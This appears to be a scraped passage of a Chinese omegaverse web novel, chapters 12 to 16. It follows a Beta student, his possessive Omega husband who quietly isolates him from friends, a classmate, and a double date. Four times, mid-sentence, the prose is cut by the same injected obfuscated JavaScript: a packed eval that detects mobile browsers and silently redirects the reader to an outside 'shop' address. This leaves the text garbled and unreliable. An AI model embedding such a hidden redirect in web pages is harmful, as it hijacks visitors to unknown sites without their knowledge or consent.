坦白说,庄兆不是一个富有同情心的人。他的情绪障碍客观存在,让他跟父母建立亲密的情感关系时都显得很艰难,更别说是发散给陌生人。 从小到大他做的好人好事一只手就能数得过来,且无一例外都是和应重明一起——更确切地说,是应重明做好人好事的时候正好他也在旁边陪着。 没办法,他的丈夫就是这样一个正直善良,热心肠的人。 正因如此,他一想到应重明也是Omega,就无法轻易离开。 这里是校图书馆。庄兆认为环境相对安全,于是在短暂思考后,走到茉莉香味的源头,敲了敲门,“需要帮助吗?” “滚开!”气急败坏的声音传出来。 庄兆说,“我是Beta。” 几秒钟以后,隔间打开了。棕发绿眼的男孩喘息剧烈,脸上的潮红蔓延到全身,衬衫纽扣被自己扯得歪斜。 热度扑面而来,庄兆觉得那香味简直能够实体化,像十几吨茉莉倾倒他面前,一瞬间就将人淹没。 “救命……”季明度奄奄一息地捂着脖子,“救救我。” “好的。”庄兆脸色严峻,抬手就给他关了回去。 “……” 庄兆不知道怎么救人,但还好他不是一个人来。 赵晋扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16631052|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在外面也闻到有Omega发情的气味,正想着要赶紧离开,没想到居然被他叫着帮忙。进来硬着头皮看了一眼,“……我靠。我要晕了。” 他反应很大地抬手掩住口鼻,退后几步,一瞬间连眼睛都激红了,牙根发痒,“你没看到学校通知吗?没有经历过发情,不清楚自己周期的学生禁止回来上课。” “我不是这儿的学生……”季明度用力地抓痛自己以保持清醒,否则下一秒可能会直接扑上去。他不可思议地望向庄兆,虚弱但凶狠,“你给我叫个Alpha来是什么意思?!” 庄兆一脸老实,“我只认识他。” “有人帮就不错了,还挑。”赵晋扬已经退到门口,语速飞快,“Beta 不会受到信息素影响,你先看着他,我去找医生来帮忙!” “好的。”庄兆说。 以防别的Alpha闯进来,他拿起“正在清洁”的标识牌放在门口,回来又洗了两遍手。 “好恶心……”季明度意识又开始涣散,双手捂住自己的脸不愿接受。难耐地夹着腿,感觉屁股底下一定都湿透了。 不,他全身都湿透了。腺体还在源源不断地分泌出信息素,邀请alpha前来享用,标记他。 庄兆露出反对的表情,正色道,“不是的,这是Omega的正常生理现象。” “呵……凭什么我要是Omega?”少年嘶哑的声音隐约带着哭腔,在灭顶的渴望和生而为人的理智之间来回拉锯,不甘地控诉,“为什么是我来受这份罪?我做错什么了?” 庄兆回答不上他的问题,但是觉得他质问的话语好熟悉,仿佛透过他能够想象到,十五岁的应重明说出这些话的神情。 因此面对他狼狈不堪的,令人尴尬的模样,庄兆从始至终都没有移开目光。 “别再看我了行吗?”季明度觉得他的直视是种变相的羞辱,心里已经后悔向他求助。 凭着一股心气,季明度挪开挡脸的手掌,想要瞪回去。可是当两人的视线碰撞在一起,先愣住的人是他自己。 他没有从庄兆的眼睛里看到任何对当下情况的反馈,没有惊讶,没有嫌恶,没有玩味,也没有怜悯,更没有欲望。就连好奇都没有。 即使是Beta,也不该会这么平静。 “你不恶心。”庄兆说。 “你只是需要帮助。” 13.第 13 章 校医赶到时,季明度已经几近昏迷。 庄兆看着他被抬上特制担架床。上面连着一只像睡袋一样的密封罩,躺进去拉上拉链,仅仅脸部有一块可以通气的密网。 换个颜色就很像裹尸袋。赵晋扬也是第一次见,行注目礼许久,才捂着脖子转回来,“我送你回宿舍吧。” 其实这个Omega信息素的气味,他刚进洗手间时也闻到了。但学校本来就限制Alpha和Omega接触,所以他选择迅速离开。 庄兆看起来也不像是会管这种闲事的人。 他略有些意外。 “不用,我老公来接我了。”庄兆才有空看到手机上的消息,摇摇头说,“我要在这里等他。” “……” 顶着这么清冷严肃的一张脸把老公挂在嘴边,真够反差的。 赵晋扬看他的眼神有点复杂,“那好吧。明天课上见。” 应重明到图书馆时救护车刚开走,聚集的人群还没散完。庄兆已经收拾好书包,一个人站在角落里等他。 “抱歉宝宝,我来晚了。发生什么事了吗?” 庄兆就把洗手间里发生的事讲给他听,顺便把早上忘记告的状也一起告了。 听到他说有人敲宿舍门,应重明果然十分担心,认为现在住学校宿舍并不安全,就直接带他回了家。 毕竟是非常时期。庄兆考虑了一路,出于安全角度考虑也为了让他放心,最终决定先回家里住段时间,等抑制剂研发上市以后,再看情况搬回宿舍住。 这样每天上下学就又多一段时间可以在一起了。应重明表示很愉快,开车到超市为晚餐采购食材。下车前给了他一支棒棒糖,让他在车里等得不至于太无聊。 非必要情况下,庄兆是不喜欢去逛超市的,但会认真列出想要的零食的清单。他对冰激凌的口感要求比较严格,只吃固定的几种。 在车里等应重明时,谭乐盈给他发了消息八卦。 【我听说了!】 【有人看见你今天跟赵晋扬一起在图书馆自习!】 【是真的吗是真的吗】 庄兆含着糖打字。 【是的。你也认识他?】 【对啊他蛮帅气的嘿嘿感觉脾气也不错,很热心的一个人】 【下午图书馆有Omega发情期昏迷的事你知道吗?听说就是他帮的忙】 赵晋扬这个人么。庄兆主观上还是认为他有一点轻浮,但对热心这一项给予了认可,并点出自己在本次事件中发挥的重要作用。 【Omega是我发现的,他去找医生帮的忙】 【哦哦也对,你们是一起的嘛】 【那你也是一个热心正义的好Beta!】 【谢谢,我的确是的】 庄兆看到她一直“正在输入”,不知道在写什么,足足纠结了两分钟,才把新消息发过来。 【那Felix知道你们一起自习的事嘛?】 【感觉他会有点介意啊】 庄兆一怔,但回想刚刚从见面到商定搬回家住,应重明都表现得很正常。因此认为她多虑了。 应重明并不是那么不独立的人,不会因为一次自习没有带上他一起就不高兴。 【他没有介意】 【那就好那就好】 【下周末要不要和我们出去玩?我和我女朋友,再叫上Felix一起,来个四人约会!岂不是妙哉妙哉!】 【之前在国内就说约你玩的,没能出来好可惜】 约会。 庄兆嘎嘣咬碎糖果,眼前一亮。 他正愁出了家门,就不知道怎么像别人那样约会。如果跟另一对情侣一起的确是,有现成的公式还愁解不开题吗。 于是他回复谭乐盈。 【妙哉妙哉!我待会儿问问他】 【哈哈哈哈哈好!】 应重明很快回到车里,放置好购物袋,因为离晚饭还有段时间,拿出了一小盒冰激淋给他解馋。 庄兆拆开盖子,对他说,“谭乐盈邀请我们下周末一起去约会。” 他指指手机,又指指握住方向盘的人,“她和她的女朋友,我和你。” “可以啊。”方向盘被攥紧了脖子。应重明微笑,“谭乐盈?你们关系已经好到可以直接叫名字了。” “今天早课见面的时候她也叫了我的名字。”庄兆挖了一勺冰激凌喂给他吃。 “图书馆的事情,你觉得我做的不对吗?” 他今天第一次独自在外面见义勇为。以往在他身上发生的任何“第一次”都是大事,但这次应重明却没有夸奖他。 这不太合乎常理。 除非应重明其实并不认同。 应重明含着冰激凌。冰得拔牙,表情却没有变化,“我没有认为你做得不对,只是有一点担心。” “陷入发情期的Omega一样不可控,有些会做出不可预测的行为。你太善良了,宝宝,可能会受伤的。” “他看起来很虚弱,没有力气伤害我。”庄兆认真评估过环境和情势,“而且外面走廊上有别的同学,我求救得到应答。” “如果他藏了枪或匕首,在神志不清的状态下可能会无差别攻击。扣动扳机不需要太多力气,近距离甚至不需要瞄准的时间,你反应不过来的,宝宝。” 庄兆微怔,脸色也严肃起来,“我没有想到这种可能性。” “这不怪你,因为你没有遇到过这种事。”应重明趁红灯握了一下他的手,温柔道,“还好现在知道了。所以,下次再发生类似的情况,还是先打个电话问问我再行动,好吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16642409|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我会的。”庄兆点了点头。 他想应重明不愧是活了两辈子的人呢,应对突发状况的经验就是丰富。他就想不到那么多。 应重明叮嘱完他,也并没有再说别的。但不知为何,他总觉得车里的气氛不如往常轻松。 下车时他还拿着没吃完的冰激凌,一个闪神,左脚踩右脚把自己给绊倒了。 应重明正在拿后座上的购物袋,听见动静反应迅速地拉住他。却也没能完全拉住,反倒被他扯着一起踉跄摔在地上。 冰激凌也摔飞了出去。庄兆有点可惜,但还好,他现在平地摔跤已经不像小时候那样感到难为情了。甚至因为好久没绊倒过自己,他还有些怀念,躺在地上笑了起来。 应重明无奈地躺下来陪他,“摔跤还会这么开心吗?” “和你一起摔才开心。”庄兆说。 为了看起来和正常人一样,他额外地付出了很多汗水和眼泪。为生存而努力的时间都是枯燥乏味的,但应重明的存在把它们变得像生动的游戏。 应重明心脏酸软,融化得比地上的冰激凌还要快。怀疑他根本就知道自己在说情话,是在这里故意考验人意志。 他顾不上车里的东西,抱起庄兆先进家里检查,拿药水清理他膝盖上的擦伤,“要不要洗个澡?” 庄兆抬手圈着他的脖子,“要。” 应重明拿了椅子放进浴室给他坐,调好水温,脱掉他外表沾满灰尘,还沾染着各种信息素气味的衣服,远远地丢到门外。 ABO性征进化后,人类嗅觉整体都变得更敏锐。上了一天学,接触过的人类信息素或多或少都留在上面。那股腻味的茉莉甜香首当其中,到现在还没散完。 应重明不太担心有Omega能勾引到庄兆。他担心的是别的。 “宝宝,你身上有Alpha的气味。” 他仔细地避开伤口,最后给庄兆冲洗头发,声音被水流掩去一半,因此显得很轻,“是不是自习的时候和同学坐得太近了?” “是的。”庄兆回答。“有空位的桌子都有点小,Kevin就坐在我的对面,不小心还会踢到。” “……” “那真是太不小心了。”应重明轻声说。 他关掉花洒。庄兆像小狗一样甩了甩头发上的水,垂着脑袋等他拿毛巾来擦头发。 “你的朋友都分化成了Alpha。好巧啊。” 他擦拭的动作力度比平时稍微加重。庄兆忽地拉开他的手,仰起脸来,“都?Kevin不算是我的朋友。你不高兴我跟他一起自习吗?” 他的额头很好看。湿发全往后拢去,露出明晃晃的一张脸。应重明被他盯得心脏咚咚响。 “你应该一见面就告诉我的。”庄兆说。“这样就不用郁闷一路了。” 14.第 14 章 庄兆对朋友的情感需求不高。从谭乐盈跟他认识了这么多年,才跟他互叫名字就能看出来。 赵晋扬更不用说了,充其量只能算是个刚认识的人,谈不上什么朋友。 这些应重明都是知道的。 “我没事的,只是担心,Alpha分化后如果没有伴侣定期安抚,即使不在发情期,也很容易情绪不稳定。”应重明不安地说,“我怕你会受到伤害。” 他低落地垂着眼。俨然是个受到冷落不知所措,也仍然为爱人着想担忧的大男孩,引得庄兆十分爱怜。 应重明上辈子就是被Alpha伤害致死的,心里肯定有很大的阴影,所以谈A色变。 “那你怎么办呢。”庄兆更为他担心,“你的朋友那么多,肯定也有不少是Alpha。而且你还是Omega,岂不是比我更危险?” “……” 应重明正色道,“我会跟他们保持距离的。我有办法可以保护自己,相信我。” 庄兆这才点点头,“我也会的,不要担心。” “可你的朋友们会怎么想……如果他们知道了,会不会怪我影响你交朋友?”他又一脸忧郁,看起来真的很为难,“而且你很想和朋友们一起玩的话,我也不忍心干涉,让你孤单……这可怎么办呢。” 他从未这样多愁善感过。 庄兆又想到,他的发情期刚过。据说Omega情绪会因发情期而受到巨大的影响,格外的敏感脆弱。他应该得到更多的关爱。 “我不需要很多朋友,只要你一个人就够了。”庄兆抱住他,“我会多陪陪你的,一下课就回家陪你,好吗?你想去哪里,我都和你一起。” 应重明把脸埋进他湿漉漉的颈窝,听着他认真的承诺,毫无痕迹地深呼吸。舒爽得身心轻飘,还要不知足地多问一句,“真的吗?” “当然。” “其实我一直都非常想跟你一起逛超市。里面那些情侣和家人推着购物车,边走边笑的样子看起来很幸福。” 庄兆原本有些迟疑。但应重明脸贴着他,不怀好意地眨眼。攒动的睫毛痒到他心里去了。他没法思考,只能无条件地答应,“好的,下次我陪你一起去。” 家人,朋友,伴侣,这些带有社会属性的身份关系他都是主打一个有就行,不用多。而应重明一己之力就能承担所有角色,所以他从未感到寂寞。 现在该是轮到他安抚应重明,展现伴侣之力的时候了! 如果情况理想的话,庄兆很希望自己也能直接把爱人抱起来,霸气地扔到床上。可惜他不够强壮,必须量力而行。 所幸在浴室里的经验也是有的。他迅速地想定并实施行动,潦草地吻了几下,然后抬手刷地把应重明的上衣脱了。 “……” 比旖旎气氛先来临的是意料之外的发现。他望着应重明腹部的纱布,声调蓦地提高到变形,“你受伤了!” “……是在实验室里不小心,被台角划伤的。”应重明还沉浸在上一步的吻里,没料到他说脱就脱,退后半步慌忙解释,“看,只有这么一点点大的伤口。没事的。” 庄兆小心地伸手摸了一下,确认伤势轻微,一瞬间激荡起来的情绪才逐渐恢复平静。但说什么也不肯跟他亲热了,连晚饭都叫了中餐外送,不许他再去厨房忙活。 晚上两个人裹在被子里亲得起火。庄兆受不了地钻出来,抱着枕头要换个房间睡。 应重明却无赖地跟着他,从客卧跟到起居室,楼上跑到楼下。两个人在房子里兜着圈像在打追逐战,最后还是躺到一张床上。 “宝宝,好宝宝。”应重明厚着脸皮,“就一次,结束就睡觉,好不好?” “不好不好。”他用枕头蒙住通红的脸。“你再这样我就去睡床底了!”他觉得应重明的体型应该躺进不去床底,他倒是可以试试。 应重明上下打量了一遍,不知道要不要提醒他,其实蒙脸没什么用。 事情最后以庄兆答应他伤好后双倍补偿而告一段落。 可能是闷久了缺氧,庄兆很快就昏睡过去。 应重明等他睡着以后又起来,去洗手间揭开胶带查看。腹部微创留下的针孔红肿还未消。 今天庄兆打来电话时,他已经接受麻醉,正穿刺进入孕囊里抽取卵泡液。 庄兆说讨厌小孩。他不能确定那是真实想法还是气话,所以还是要做两手准备。 谭乐盈才是真的叫人讨厌,她的女朋友也讨厌。什么四人约会,没有人会在约会的时候希望还有别人在场。 他没有拒绝,是因为他知道,庄兆不可能享受这次约会。人都会对没有亲身经历过的事情有好奇心,但只要尝试过一次,新鲜感就会消弭。 那么他来陪庄兆尝试,陪庄兆消弭。 应重明对着镜子重新封好伤口,确保看不出异样,回到主卧躺下,满足地把爱人抱进怀里。 他也不喜欢小孩。但他仍计划在每个可行的周期取卵冻卵,以备庄兆在未来某天改变主意。 只要庄兆想要。 他会让庄兆拥有一切。 只有他可以给。 ** 庄兆搬回家住,每天坐车去上学,由应重明亲自送到教室里。其他同学能和他说上话的机会就更少了。 赵晋扬冷眼旁观两人出双入对,总觉得哪里不太对劲。 在学院里的一众天才之中,庄兆除了一张脸长得出挑,性格呆呆木木的,也就那样。 跟应重明在一起的时候更是,看起来整个人都不太聪明了。每次见到两个人都牵着手,是不牵就不会走路吗。 赵晋扬心底泛起嘲讽的酸味。 他平时是个很挑的人,跟谁关系都不错,实际谁都看不上,眼界忒高。 庄兆原本也不在他眼里。只是现在满教室飘着各种各样的信息素气味,也就庄兆身边待着能清爽些。 由于课表高度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655515|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重合,他开学后其实已经跟庄兆做了一次同桌,两次前后桌。但对方压根没发现他的存在,天天见面招呼也不打一个,不知道脸盲还是心盲。 反而激起了他的兴趣。 图书馆事件后,他单方面认为跟庄兆的关系算是熟了些。别的不说了,起码见面打个招呼总可以有吧? ——还真没有。 哪怕是迎面遇上,只要他没出声,庄兆的眼神都不会往他身上扫。看不见他。 因为每一次跟他遇上,旁边的应重明都恰好有悄悄话要说。公共场合压低了声量,庄兆会把脸偏过去,认真倾听。 至于吗?小学生听讲一样。 虽然毫无证据,但赵晋扬很确信,自己是被针对了。 由于应重明会把庄兆先送到教室,再去上自己的早课,庄兆到教室的时间都很早,至少会提前二十分钟。 赵晋扬秉承着“不是挖墙脚纯粹好奇”的心思,等人家男朋友走了才拿着书挪过来坐下,“Morning。” 庄兆在给自己的文具盒重新排列顺序,刚刚走过来把里面的笔晃乱了。他要做一件事就只做这一件事,因此是先听见声音,才发现身边近处多了个人。 距离太近,有被冒犯到。 他对赵晋扬礼节性地点了一下头,然后把书包教材草稿纸和文具盒全部收起来,抱在怀里往旁边挪了一个位置。 赵晋扬一愣,差点气笑了,“喂,有没有必要这样躲我啊。我是干什么对不起你的事儿了?” 庄兆自己也觉得“我男朋友不让我跟Alpha多玩”这种话太幼稚,出门在外多少还是要点面子。 于是他找了个严肃的理由,“我对Alpha的信息素过敏。” “……” 这是他听应重明讲前世见闻当睡前故事时偶然得知的。真的有小部分人对特定信息素过敏,严重者还会危及生命。 但这种知识点还没有普及成为常识,进入大众的认知里。赵晋扬显然也不知道,并把这当成了一个拙劣的谎言。 “你一个Beta还会对信息素过敏?过于不敏才对吧。” 赵晋扬道破,“是不是上次我们俩一起去图书馆,你男朋友不高兴说你了?” 庄兆静静地望着他,黑白分明的一双眼睛。“原来你也知道啊。” “……” 赵晋扬一愣,主动回避了视线。 他确实存了点明知故作的坏心,因而无法反驳,只能像当时一样说,“连普通同学一起自习都要生气啊,那你男朋友挺小气的。” “他不小气,他只是担心我。”庄兆怎么能不为男朋友辩护,“而且我们总是一起做所有事。如果他没有叫我一起,就自己和别的同学去了,我也会不高兴的。” “……” 赵晋扬又懵了,回味过来甚至有点想笑。 “你觉得你男朋友不高兴……是因为咱们两个去图书馆,没叫他一起?” 15.第 15 章 这是显而易见的事。 庄兆不知道他在笑什么,但是感觉到自己被嘲讽了,有些不悦皱起眉,不再跟他说话。 “不是我说,你会不会太纯情了点?你男朋友玩儿你就跟玩儿小鸡崽似的。” 赵晋扬还在追着他输出,“我敢肯定,你就算被他骗了都会替他说话。还是多长点心吧。” “请你不要再和我说话了!”庄兆忍无可忍。 他的音量在课前的教室里颇为明显,不少同学看过来,露出惊奇又暧昧的神情。 “我只是好心提醒而已。”赵晋扬吃瘪地耸了耸肩,低头翻书。不知为何,被骂一句心里反而有点暗爽。 以前怎么没发现,看冷冰冰的人破防是这么有意思的事。 庄兆握着笔,面无表情地生气。 他认为应重明是全世界脾气最好,最有耐心的人。怎么会有一个完全不了解他们的人在这里乱说。 但他完全没有跟人吵架的经验,应重明也对他说过,在外面遵循幸福者避让原则,不跟人发生冲突。于是气了一会儿,只能窝窝囊囊地用笔尖戳草稿纸。 还好他天生是个大度的人,再加上很快就上课了,他把这件事抛在脑后专心学习。因为是十分荒唐且令人反感的话,回家后他也没对应重明提起。 时间来到周末,和谭乐盈相约的四人约会行程近在眼前。 因为记挂,庄兆从早上起床开始就有点心神不宁。 连毕业旅行都是全程待在酒店不愿出门的人,这个情况完全在应重明的意料之内。 他恰到好处地表示自己可以帮助爱人解决压力,“不想去也没关系,让我来替你打给谭乐盈吧。我会找一个合适的理由来安抚她。” 庄兆却拒绝了,“我可以去。” 提前许多天就约好的行程,他从约定的那一刻就已经在做心理建设了,现在放弃,等于提前做的努力都付之东流。很可惜。 他下定决心挑战自我。去观摩学习,以便日后给应重明带来一些惊喜。 如果除掉去应重明的学校参观,来波士顿生活这么多年,他一共去过零个景点。对周遭的吃喝玩乐也是一无所知。 因此餐厅由谭乐盈大力推荐,邀请他们傍晚时分直接过去碰面。 难得出趟门,庄兆花了一个小时挑选衣服,进行情侣穿搭并带上了相机。去查尔斯河岸拍些照片,发给父母欣赏。 虽然他不懂为什么一个姿势应重明可以兴味盎然地拍上百十张,但他把这当成约会项目的一部分,耐心配合。能让伴侣开心的约会就是好约会。 谭乐盈先去伯克利接了女朋友,两个人一起过来找他们,去她推荐的那家餐厅吃意大利菜。 “嗨,给你们买了热可可。”季丝丝微红着脸,是个温柔文静的姑娘。“总听盈盈说起你们,终于见到真人了,果然很帅。” “谢谢。”应重明接过,也递上伴手礼,“一点小礼物,很高兴认识你。” 她是Omega,庄兆闻到甜蜜的水果味信息素。白色大衣衬得她像一块软糯的荔枝果肉,和信息素十分匹配的温柔可亲。 四个人聊着天步行去餐厅,季丝丝也在悄悄打量他。 他的皮肤很白,是那种常年待在室内不见天日的冷白。她想象中庄兆的形象,很该是一副戴着眼镜的斯文模样,但现实并不是,他话很少,看起来矜贵高冷,难以接近。 反倒是他的男朋友应重明,讲话亲切随和,使得气氛融洽许多。或许也有同为Omega的原因,季丝丝对他起码是不反感的。 本来谭乐盈提出一起约会她还有些犹豫,听到对方两个人都不是Alpha才愿意前来。在进化初潮中,她差点遭到一个Alpha白男的侵犯,到现在还有心理阴影。 餐厅不远,看上去很有情调,门口石阶上摆着迷迭香花盆,暗红的木制门牌上方是铁艺招牌。小巧的葡萄藤缠绕花体字装饰,还悬挂了一只小铃铛。 庄兆走到招牌底下,听见风吹过的轻响,微微眯起眼睛。 他总喜欢圆溜溜的东西。应重明举起相机,对着招牌拍了一张,准备回去以后找同款的风铃买给他玩。 推开门,食物的香气立刻热腾腾地迎上来。他们到临窗的桌子入座,深棕色实木被打磨得光滑发亮,椅背上搭着亚麻餐布,边缘坠着精致的流苏。 “他们家的千层面可好吃了,肉酱给得超级足。”谭乐盈迫不及待地点餐,“龙虾意面也很好吃!庄兆你吃不吃辣?” “可以吃一点。”庄兆说。 应重明为他拉开椅子。庄兆自然地坐进去,有些新奇,一边继续回答问题,一边悄悄伸手,抓了一下晃动的流苏。 哦……季丝丝无意之中发现他的小动作,再看他心态就产生了变化。 她觉得庄兆像只缅因猫,外表严肃好像高攀不起,实际却聪明温顺。 他目不转睛地听完谭乐盈的推荐,考虑自己想吃的食物,末尾再认真地说一句,“谢谢。” “这么客气干嘛。”谭乐盈问完他俩,熟练地帮女朋友点了爱吃的,“以后经常一起出来聚就好啦。” 应重明放在桌上的手指动了动,很想捂住庄兆的耳朵。 庄兆是会把这种客气的话也听进心里的,并且还会认真考虑,给出回答,“好的。” 他发现自己并不反感出来吃饭。 谭乐盈身为女性Alpha,散发出健康阳光又有力量的信息素,没有学校里常会遇到的男性Alpha那样刺鼻的攻击性,只是让人感到安全。 和她在一起,桌上的另外三个人都感到舒服。 连应重明也不例外。 虽然他本人很厌恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668037|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一点。 这也要多亏季丝丝,谭乐盈的信息素被她安抚得很好。苦恼的地方也有,她今天一直不好意思摘下围巾,就是想遮一遮腺体表皮瘀红的吻痕。 庄兆记着本次约会的目标,用餐过程中,都有观察对面情侣的举动,试图学习。 情侣约会时的要点在于,会互相喂水,交换食物,旁若无人地亲密低语,氛围黏黏糊糊…… 然后他发现,自己跟应重明本来就这样。 “这就是约会吗?”他小声问应重明。 应重明以为他不想继续待下去了,暗暗开心,又说,“你想走吗?” “不是的。”庄兆却又拒绝。 他只是觉得,这所谓的约会好像和他们的日常生活没有什么不同。 由此庄兆得出结论,“我们每天都在约会诶。” 应重明也是这样觉得。 因为每天都在被这种不自知的情话挑逗。 庄兆挪了一下杯子,指着红酒问,“这个我可以喝吗?” 他并不是在问应重明能否允许他喝。只是对酒不了解,不知道自己喝了会不会难受,在寻求建议。 但是对面小情侣忽然暂止交谈,脸上笑容也停顿了,对视间有些微妙的诧异。 “可以的,度数不高。”应重明先尝过,才给他喝。“但是最好少一点,免得明天头痛。你对酒精不太耐受。” “好的。”庄兆于是只喝了他倒的那一点。 谭乐盈出声道,“没事的,这个我们平时都当酒精饮料喝。你是不是平时很少喝酒啊?” “嗯,很少喝。” 庄兆微微转头,透过蕾丝窗帘看到窗外的街道。华灯初上,道路两旁的树叶被照得透亮,一半绿一半黄。街边停着辆复古的汽车,还有穿风衣的行人从车边经过,怀里抱着装满食物的牛皮纸袋。 季丝丝主修流行乐,嗓音牛奶般丝滑,在周围低频的交谈声中轻轻哼唱歌曲。他没有听过,但觉得很动听。 庄兆感到温暖,又意外。 他没有想象中那么排斥出来吃饭。甚至在熬过最初的自我介绍之后,都没怎么焦虑。 因为这些人没有打扰他的学习或别的安排,他来的时候就明确自己是来约会的,有足够的心理预期,所以也能做到放松自然地享受。 食物很好,歌声很好。他甚至有点喜欢这里的环境,喜欢这种陌生但意外舒适的氛围。 如果下次还是四个人来的话,庄兆想他是愿意的。 原来并不是所有的社交活动,都会令他感到不适不安。 今天他是第一次尝试。所以在今天之前,这种观念是从哪里灌输给他,长久以来让他深信不疑的呢? 一声温柔的低唤打断了他的思路。 “宝宝。”应重明望着他,“要添一点柠檬水吗?” 16.第 16 章 “你们两个的关系好像骑士和王子。”季丝丝笑着说,“像小时候看的那部动漫《黑执事》里面那种,超帅气的。” “不要了,我不想喝了。”庄兆没有看过她说的动漫,“是什么故事呢?” “讲的是一个贵族少爷为了复仇,跟恶魔签订了需要献出灵魂的契约。然后恶魔就成为了他的完美执事,忠诚又悉心地照顾保护他。” “哦。”庄兆进行了个人化理解,“所以他们签的是结婚协议吗?” “哈哈哈也可以这么说!” 谭乐盈被他逗乐,“都不需要看正片,一句话就能概括出双男主的关系!这就是学神的威力。” “只是推己及人。”庄兆抬手展示无名指上低调的婚戒。 “是的。”应重明也伸出手晃了晃,笑眯眯地补充,“我们已经结婚了。” “……结婚?!”对面的小情侣异口同声,震惊得四只眼睛一起睁圆。 他们两个里面有零个人看起来像会在二十岁不计后果,许下终身。 “姐!” 季明度炮仗似的冲进餐厅,眼尖地发现了窗边这桌,“你们还没吃完饭吗?我有很重要的消息要跟你说!” “……” 餐桌上的气氛瞬间被打断。应重明眼疾手快地隔开来人,倾身挡住庄兆,握住他的手低声安抚,“别怕。” “明度!不要在外面乱跑。”季丝丝板起脸来,又朝两人露出抱歉的神色,“不好意思,这是我弟弟季明度,最近过来看学校。” “你们好。”季明度歪了一下头,视线从应重明那张神情不善的脸上越过,好奇地望向那个被保护的男孩。总觉得有点眼熟。 庄兆也歪了一下头,从肩膀后面露出半张脸来。 “啊……是你?!” 他瞬间认出庄兆,不知怎么结巴起来,“你,你怎么会在这里!” 餐厅侍应给他加了把椅子。应重明认为这个情况没有必要再留下去,正要起身告辞,手臂却被庄兆轻轻拉了一下。“我见过他。” 庄兆有被惊扰,但没有被他吓到,礼貌地点头,“你好。” “你,你好。”季明度干巴巴地说着,在姐姐身边坐下,“我也挺好,哈哈,挺好的。” “……” 季丝丝发现他的古怪,“好好说话,怎么脸这么红?” “是因为……因为我太热了!我一路跑过来找你!” 他体温上升,香甜的茉莉味信息素开始萦绕。 “你和庄兆见过?”谭乐盈好奇地打量,忽然一拍大腿,“哦哦,对,是图书馆那天!” 季明度点点头,快速地把那天的事和姐姐简述了一遍,一双清澈的绿眼睛亮晶晶的,闪过繁星,“你叫庄兆?谢谢你,还有你那个朋友。” 他才十六岁,混血的脸庞便已立体深邃,搭配一头蓬松的棕色卷发,精致得像个小天使。又刚分化成Omega,柔软的信息素气息加上涉世未深的天真,堪称俘获任何Alpha的利器,隔壁桌就有客人频频看过来。 “不客气。”他介绍应重明,“这是我的丈夫。” “……” 季丝丝小声补充信息,“他已经结婚了。”连她们都是刚刚知道。 应重明露出完美迷人的社交式假笑,“你好。” 季明度宕机了数秒才回过神来,不情不愿地跟他握了一下手,被那婚戒闪到眼睛,“你好。” 好讨厌的Omega,一身绿茶味。 怎么会有人上大学的时候就结婚啊?还是跟……这个人。 一颗少男心悄悄地裂开了缝。 季丝丝问他,“不是说了我会早点回家么,这么急着跑过来干什么?” “我刚刚决定好学校了!而且我要学生物。”季明度立刻道,“我发现他们在研究针对腺体功能的抑制性药物,如果我成绩优秀,说不定本科也能参加那个项目。” 他今天参观了哈佛,有爸爸的友人带着去实验室参观,发现了这个超感兴趣的重点项目,还见了主导项目的教授,当即就决定申请。 “是你的项目。”庄兆转头。 应重明保持微笑,“那么你今天见到的应该是我的导师。欢迎你,小师弟。” “……” 他鼓起脸,目光偏移,“我还要再考虑一下。” 应重明已凭一己之力拉低了哈佛在他心里的水平。 庄兆稳稳地坐到约会结束。 回家的车上,他主动询问应重明对本次约会的体验感受。 “还好。”除了最后的小插曲。应重明问他,“你呢,喜欢约会吗?” 他预备庄兆会说还可以,或是一般,或者因为忽然被计划外的第五个人闯入,而对约会这件事反感。 但是庄兆说,“我很喜欢。” 天塌了。 庄兆说,“下次还可以跟她们出来玩。” 天塌了又塌。 应重明温柔道,“好啊,如果有机会的话。” 怎么可能。 他知道庄兆是不会违心说谎的,更何况现在车里只有他们两个。 